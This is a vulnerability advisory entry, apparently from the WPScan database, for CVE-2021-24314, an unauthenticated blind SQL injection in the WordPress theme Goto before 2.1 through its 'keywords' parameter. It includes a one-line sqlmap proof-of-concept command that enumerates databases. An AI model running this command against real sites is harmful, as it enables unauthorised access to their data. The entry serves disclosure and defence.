Lucene search
WpvulndbWPVDB-ID:1CC6DC17-B019-49DD-8149-C8BBA165EB30HistoryApr 26, 2021 - 12:00 a.m.
Goto < 2.1 - Unauthenticated Blind SQL Injection
2021-04-2600:00:00
wpscan.com
11
0.003 Low
EPSS
Percentile
68.5%
The theme did not sanitise, validate of escape the keywords GET parameter from its listing page before using it in a SQL statement, leading to an Unauthenticated SQL injection issue
PoC
sqlmap --url=“https://example.com/tour-list/?keywords=13&start;_date=13” --random-agent -dbs --level=3 --threads=4 --dbms=MySQL -p keywords
Related
cve
cve
CVE-2021-24314
2021-05-17 17:15:08
nvd
nvd
CVE-2021-24314
2021-05-17 17:15:08
prion
prion
Sql injection
2021-05-17 17:15:00
cvelist
cvelist
CVE-2021-24314 Goto < 2.1 - Unauthenticated Blind SQL Injection
2021-05-17 16:48:53
wpexploit
wpexploit
Goto < 2.1 - Unauthenticated Blind SQL Injection
2021-04-26 00:00:00